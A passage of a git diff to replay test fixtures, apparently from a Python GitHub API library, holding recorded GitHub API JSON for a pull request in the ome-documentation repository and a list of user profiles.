om/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"814e48863217bc6b9d4e1f74de4061e56918b3cb","ref":"9993-fix-develop"},"assignee":null,"updated_at":"2013-01-14T08:18:58Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/203/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/203/commits","closed_at":"2013-01-14T08:18:58Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/203","merged_at":"2013-01-14T08:18:58Z","merge_commit_sha":"6ffaa6729532be5843b3a2236ab0d422b1775c8b","created_at":"2013-01-10T16:17:51Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/203/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/203.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/203","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"PR #200 rebased to develop, fixing issue in ticket 9993","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/203.diff","id":3623337,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"66b416256fd3333771b9722582e2801df96c4a99","ref":"develop"}}] - diff --git a/tests/ReplayData/Issue133.testGetPageWithoutInitialArguments.txt b/tests/ReplayData/Issue133.testGetPageWithoutInitialArguments.txt index 497d815128..d9be4e106d 100644 --- a/tests/ReplayData/Issue133.testGetPageWithoutInitialArguments.txt +++ b/tests/ReplayData/Issue133.testGetPageWithoutInitialArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '20426'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4932'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 29 Jan 2013 16:17:47 GMT'), ('connection', 'keep-alive'), ('etag', '"fb0fbb23fbad4099a53f6c5f6e0de34d"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 29 Jan 2013 17:46:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"User","url":"https://api.github.com/users/jnorthrup","repos_url":"https://api.github.com/users/jnorthrup/repos","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jnorthrup/orgs","received_events_url":"https://api.github.com/users/jnorthrup/received_events","events_url":"https://api.github.com/users/jnorthrup/events{/privacy}","followers_url":"https://api.github.com/users/jnorthrup/followers","starred_url":"https://api.github.com/users/jnorthrup/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jnorthrup/following","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","subscriptions_url":"https://api.github.com/users/jnorthrup/subscriptions","gists_url":"https://api.github.com/users/jnorthrup/gists{/gist_id}","id":73514,"login":"jnorthrup"},{"type":"User","url":"https://api.github.com/users/brugidou","repos_url":"https://api.github.com/users/brugidou/repos","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/brugidou/orgs","received_events_url":"https://api.github.com/users/brugidou/received_events","events_url":"https://api.github.com/users/brugidou/events{/privacy}","followers_url":"https://api.github.com/users/brugidou/followers","starred_url":"https://api.github.com/users/brugidou/starred{/owner}{/repo}","following_url":"https://api.github.com/users/brugidou/following","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","subscriptions_url":"https://api.github.com/users/brugidou/subscriptions","gists_url":"https://api.github.com/users/brugidou/gists{/gist_id}","id":167633,"login":"brugidou"},{"type":"User","url":"https://api.github.com/users/regisb","repos_url":"https://api.github.com/users/regisb/repos","avatar_url":"https://secure.gravatar.com/avatar/c5c2e6aa207dd3686244700d39117bdc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/regisb/orgs","received_events_url":"https://api.github.com/users/regisb/received_events","events_url":"https://api.github.com/users/regisb/events{/privacy}","followers_url":"https://api.github.com/users/regisb/followers","starred_url":"https://api.github.com/users/regisb/starred{/owner}{/repo}","following_url":"https://api.github.com/users/regisb/following","gravatar_id":"c5c2e6aa207dd3686244700d39117bdc","subscriptions_url":"https://api.github.com/users/regisb/subscriptions","gists_url":"https://api.github.com/users/regisb/gists{/gist_id}","id":44319,"login":"regisb"},{"type":"User","url":"https://api.github.com/users/walidk","repos_url":"https://api.github.com/users/walidk/repos","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/walidk/orgs","received_events_url":"https://api.github.com/users/walidk/received_events","events_url":"https://api.github.com/users/walidk/events{/privacy}","followers_url":"https://api.github.com/users/walidk/followers","starred_url":"https://api.github.com/users/walidk/starred{/owner}{/repo}","following_url":"https://api.github.com/users/walidk/following","gravatar_id":"e251d20766937949a109603ca37bb3be","subscriptions_url":"https://api.github.com/users/walidk/subscriptions","gists_url":"https://api.github.com/users/walidk/gists{/gist_id}","id":734669,"login":"walidk"},{"type":"User","url":"https://api.github.com/users/afzalkhan","repos_url":"https://api.github.com/users/afzalkhan/repos","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/afzalkhan/orgs","received_events_url":"https://api.github.com/users/afzalkhan/received_events","events_url":"https://api.github.com/users/afzalkhan/events{/privacy}","followers_url":"https://api.github.com/users/afzalkhan/followers","starred_url":"https://api.github.com/users/afzalkhan/starred{/owner}{/repo}","following_url":"https://api.github.com/users/afzalkhan/following","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","subscriptions_url":"https://api.github.com/users/afzalkhan/subscriptions","gists_url":"https://api.github.com/users/afzalkhan/gists{/gist_id}","id":1003845,"login":"afzalkhan"},{"type":"User","url":"https://api.github.com/users/sdanzan","repos_url":"https://api.github.com/users/sdanzan/repos","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/sdanzan/orgs","received_events_url":"https://api.github.com/users/sdanzan/received_events","events_url":"https://api.github.com/users/sdanzan/events{/privacy}","followers_url":"https://api.github.com/users/sdanzan/followers","starred_url":"https://api.github.com/users/sdanzan/starred{/owner}{/repo}","following_url":"https://api.github.com/users/sdanzan/following","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","subscriptions_url":"https://api.github.com/users/sdanzan/subscriptions","gists_url":"https://api.github.com/users/sdanzan/gists{/gist_id}","id":1094967,"login":"sdanzan"},{"type":"User","url":"https://api.github.com/users/vineus","repos_url":"https://api.github.com/users/vineus/repos","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/vineus/orgs","received_events_url":"https://api.github.com/users/vineus/received_events","events_url":"https://api.github.com/users/vineus/events{/privacy}","followers_url":"https://api.github.com/users/vineus/followers","starred_url":"https://api.github.com/users/vineus/starred{/owner}{/repo}","following_url":"https://api.github.com/users/vineus/following","gravatar_id":"2d0c93649b7572036335aed380e351e5","subscriptions_url":"https://api.github.com/users/vineus/subscriptions","gists_url":"https://api.github.com/users/vineus/gists{/gist_id}","id":467126,"login":"vineus"},{"type":"User","url":"https://api.github.com/users/gturri","repos_url":"https://api.github.com/users/gturri/repos","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/gturri/orgs","received_events_url":"https://api.github.com/users/gturri/received_events","events_url":"https://api.github.com/users/gturri/events{/privacy}","followers_url":"https://api.github.com/users/gturri/followers","starred_url":"https://api.github.com/users/gturri/starred{/owner}{/repo}","following_url":"https://api.github.com/users/gturri/following","gravatar_id":"ba064e32f068e12bfc87d178179878a5","subscriptions_url":"https://api.github.com/users/gturri/subscriptions","gists_url":"https://api.github.com/users/gturri/gists{/gist_id}","id":308601,"login":"gturri"},{"type":"User","url":"https://api.github.com/users/fjardon","repos_url":"https://api.github.com/users/fjardon/repos","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/fjardon/orgs","received_events_url":"https://api.github.com/users/fjardon/received_events","events_url":"https://api.github.com/users/fjardon/events{/privacy}","followers_url":"https://api.github.com/users/fjardon/followers","starred_url":"https://api.github.com/users/fjardon/starred{/owner}{/repo}","following_url":"https://api.github.com/users/fjardon/following","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","subscriptions_url":"https://api.github.com/users/fjardon/subscriptions","gists_url":"https://api.github.com/users/fjardon/gists{/gist_id}","id":121402,"login":"fjardon"},{"type":"User","url":"https://api.github.com/users/cjuniet","repos_url":"https://api.github.com/users/cjuniet/repos","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/cjuniet/orgs","received_events_url":"https://api.github.com/users/cjuniet/received_events","events_url":"https://api.github.com/users/cjuniet/events{/privacy}","followers_url":"https://api.github.com/users/cjuniet/followers","starred_url":"https://api.github.com/users/cjuniet/starred{/owner}{/repo}","following_url":"https://api.github.com/users/cjuniet/following","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","subscriptions_url":"https://api.github.com/users/cjuniet/subscriptions","gists_url":"https://api.github.com/users/cjuniet/gists{/gist_id}","id":1233553,"login":"cjuniet"},{"type":"User","url":"https://api.github.com/users/jardon-u","repos_url":"https://api.github.com/users/jardon-u/repos","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jardon-u/orgs","received_events_url":"https://api.github.com/users/jardon-u/received_events","events_url":"https://api.github.com/users/jardon-u/events{/privacy}","followers_url":"https://api.github.com/users/jardon-u/followers","starred_url":"https://api.github.com/users/jardon-u/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jardon-u/following","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","subscriptions_url":"https://api.github.com/users/jardon-u/subscriptions","gists_url":"https://api.github.com/users/jardon-u/gists{/gist_id}","id":994192,"login":"jardon-u"},{"type":"User","url":"https://api.github.com/users/kamaradclimber","repos_url":"https://api.github.com/users/kamaradclimber/repos","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/kamaradclimber/orgs","received_events_url":"https://api.github.com/users/kamaradclimber/received_events","events_url":"https://api.github.com/users/kamaradclimber/events{/privacy}","followers_url":"https://api.github.com/users/kamaradclimber/followers","starred_url":"https://api.github.com/users/kamaradclimber/starred{/owner}{/repo}","following_url":"https://api.github.com/users/kamaradclimber/following","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","subscriptions_url":"https://api.github.com/users/kamaradclimber/subscriptions","gists_url":"https://api.github.com/users/kamaradclimber/gists{/gist_id}","id":503537,"login":"kamaradclimber"},{"type":"User","url":"https://api.github.com/users/L42y","repos_url":"https://api.github.com/users/L42y/repos","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/L42y/orgs","received_events_url":"https://api.github.com/users/L42y/received_events","events_url":"https://api.github.com/users/L42y/events{/privacy}","followers_url":"https://api.github.com/users/L42y/followers","starred_url":"https://api.github.com/users/L42y/starred{/owner}{/repo}","following_url":"https://api.github.com/users/L42y/following","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","subscriptions_url":"https://api.github.com/users/L42y/subscriptions","gists_url":"https://api.github.com/users/L42y/gists{/gist_id}","id":284820,"login":"L42y"},{"type":"User","url":"https://api.github.com/users/jobar","repos_url":"https://api.github.com/users/jobar/repos","avatar_url":"https://secure.gravatar.com/avatar/c9d5df4c0be8b077f3cd8edde2f02c9e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jobar/orgs","received_events_url":"https://api.github.com/users/jobar/received_events","events_url":"https://api.github.com/users/jobar/events{/privacy}","followers_url":"https://api.github.com/users/jobar/followers","starred_url":"https://api.github.com/users/jobar/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jobar/following","gravatar_id":"c9d5df4c0be8b077f3cd8edde2f02c9e","subscriptions_url":"https://api.github.com/users/jobar/subscriptions","gists_url":"https://api.github.com/users/jobar/gists{/gist_id}","id":1686047,"login":"jobar"},{"type":"User","url":"https://api.github.com/users/koobs","repos_url":"https://api.github.com/users/koobs/repos","avatar_url":"https://secure.gravatar.com/avatar/a083cdd9096b4a5623a298d6b4d590a8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/koobs/orgs","received_events_url":"https://api.github.com/users/koobs/received_events","events_url":"https://api.github.com/users/koobs/events{/privacy}","followers_url":"https://api.github.com/users/koobs/followers","starred_url":"https://api.github.com/users/koobs/starred{/owner}{/repo}","following_url":"https://api.github.com/users/koobs/following","gravatar_id":"a083cdd9096b4a5623a298d6b4d590a8","subscriptions_url":"https://api.github.com/users/koobs/subscriptions","gists_url":"https://api.github.com/users/koobs/gists{/gist_id}","id":1011612,"login":"koobs"},{"type":"User","url":"https://api.github.com/users/csjaba","repos_url":"https://api.github.com/users/csjaba/repos","avatar_url":"https://secure.gravatar.com/avatar/487684504c90d530bc674ea554acb9c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/csjaba/orgs","received_events_url":"https://api.github.com/users/csjaba/received_events","events_url":"https://api.github.com/users/csjaba/events{/privacy}","followers_url":"https://api.github.com/users/csjaba/followers","starred_url":"https://api.github.com/users/csjaba/starred{/owner}{/repo}","following_url":"https://api.github.com/users/csjaba/following","gravatar_id":"487684504c90d530bc674ea554acb9c5","subscriptions_url":"https://api.github.com/users/csjaba/subscriptions","gists_url":"https://api.github.com/users/csjaba/gists{/gist_id}","id":2398264,"login":"csjaba"},{"type":"User","url":"https://api.github.com/users/jtrigalo","repos_url":"https://api.github.com/users/jtrigalo/repos","avatar_url":"https://secure.gravatar.com/avatar/7cf8013e6d87e3d7458dfff8dee27bea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jtrigalo/orgs","received_events_url":"https://api.github.com/users/jtrigalo/received_events","events_url":"https://api.github.com/users/jtrigalo/events{/privacy}","followers_url":"https://api.github.com/users/jtrigalo/followers","starred_url":"https://api.github.com/users/jtrigalo/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jtrigalo/following","gravatar_id":"7cf8013e6d87e3d7458dfff8dee27bea","subscriptions_url":"https://api.github.com/users/jtrigalo/subscriptions","gists_url":"https://api.github.com/users/jtrigalo/gists{/gist_id}","id":2675607,"login":"jtrigalo"},{"type":"User","url":"https://api.github.com/users/nicuveo","repos_url":"https://api.github.com/users/nicuveo/repos","avatar_url":"https://secure.gravatar.com/avatar/d7b0dfff3ee3c7b1eba8ac9e9a3b43b6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/nicuveo/orgs","received_events_url":"https://api.github.com/users/nicuveo/received_events","events_url":"https://api.github.com/users/nicuveo/events{/privacy}","followers_url":"https://api.github.com/users/nicuveo/followers","starred_url":"https://api.github.com/users/nicuveo/starred{/owner}{/repo}","following_url":"https://api.github.com/users/nicuveo/following","gravatar_id":"d7b0dfff3ee3c7b1eba8ac9e9a3b43b6","subscriptions_url":"https://api.github.com/users/nicuveo/subscriptions","gists_url":"https://api.github.com/users/nicuveo/gists{/gist_id}","id":1618949,"login":"nicuveo"},{"type":"User","url":"https://api.github.com/users/MariusNV","repos_url":"https://api.github.com/users/MariusNV/repos","avatar_url":"https://secure.gravatar.com/avatar/1ba6c81323b8482294b9d50de14bd18b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/MariusNV/orgs","received_events_url":"https://api.github.com/users/MariusNV/received_events","events_url":"https://api.github.com/users/MariusNV/events{/privacy}","followers_url":"https://api.github.com/users/MariusNV/followers","starred_url":"https://api.github.com/users/MariusNV/starred{/owner}{/repo}","following_url":"https://api.github.com/users/MariusNV/following","gravatar_id":"1ba6c81323b8482294b9d50de14bd18b","subscriptions_url":"https://api.github.com/users/MariusNV/subscriptions","gists_url":"https://api.github.com/users/MariusNV/gists{/gist_id}","id":2228498,"login":"MariusNV"},{"type":"User","url":"https://api.github.com/users/llubu","repos_url":"https://api.github.com/users/llubu/repos","avatar_url":"https://secure.gravatar.com/avatar/02249adde786dbff8b8fa21d9d1bd601?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/llubu/orgs","received_events_url":"https://api.github.com/users/llubu/received_events","events_url":"https://api.github.com/users/llubu/events{/privacy}","followers_url":"https://api.github.com/users/llubu/followers","starred_url":"https://api.github.com/users/llubu/starred{/owner}{/repo}","following_url":"https://api.github.com/users/llubu/following","gravatar_id":"02249adde786dbff8b8fa21d9d1bd601","subscriptions_url":"https://api.github.com/users/llubu/subscriptions","gists_url":"https://api.github.com/users/llubu/gists{/gist_id}","id":1433937,"login":"llubu"},{"type":"User","url":"https://api.github.com/users/cancerhermit","repos_url":"https://api.github.com/users/cancerhermit/repos","avatar_url":"https://secure.gravatar.com/avatar/9be6dcfe3820b88a23001e4758ca6703?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/cancerhermit/orgs","received_events_url":"https://api.github.com/users/cancerhermit/received_events","events_url":"https://api.github.com/users/cancerhermit/events{/privacy}","followers_url":"https://api.github.com/users/cancerhermit/followers","starred_url":"https://api.github.com/users/cancerhermit/starred{/owner}{/repo}","following_url":"https://api.github.com/users/cancerhermit/following","gravatar_id":"9be6dcfe3820b88a23001e4758ca6703","subscriptions_url":"https://api.github.com/users/cancerhermit/subscriptions","gists_url":"https://api.github.com/users/cancerhermit/gists{/gist_id}","id":1584557,"login":"cancerhermit"},{"type":"User","url":"https://api.github.com/users/mt3","repos_url":"https://api.github.com/users/mt3/repos","avatar_url":"https://secure.gravatar.com/avatar/db57d04ef17c0c3a45a27059e4667f64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/mt3/orgs","received_events_url":"https://api.github.com/users/mt3/received_events","events_url":"https://api.github.com/users/mt3/events{/privacy}","followers_url":"https://api.github.com/users/mt3/followers","starred_url":"https://api.github.com/users/mt3/starred{/owner}{/repo}","following_url":"https://api.github.com/users/mt3/following","gravatar_id":"db57d04ef17c0c3a45a27059e4667f64","subscriptions_url":"https://api.github.com/users/mt3/subscriptions","gists_url":"https://api.github.com/users/mt3/gists{/gist_id}","id":227318,"login":"mt3"}] - diff --git a/tests/ReplayData/Issue134.testGetAuthorizationsFailsWhenAutenticatedThroughOAuth.txt b/tests/ReplayData/Issue134.testGetAuthorizationsFailsWhenAutenticatedThroughOAuth.txt index ae34146059..3115507126 100644 --- a/tests/ReplayData/Issue134.testGetAuthorizationsFailsWhenAutenticatedThroughOAuth.txt +++ b/tests/ReplayData/Issue134.testGetAuthorizationsFailsWhenAutenticatedThroughOAuth.txt @@ -8,4 +8,3 @@ None 404 [('status', '404 Not Found'), ('content-length', '23'), ('x-github-media-type', 'github.beta; 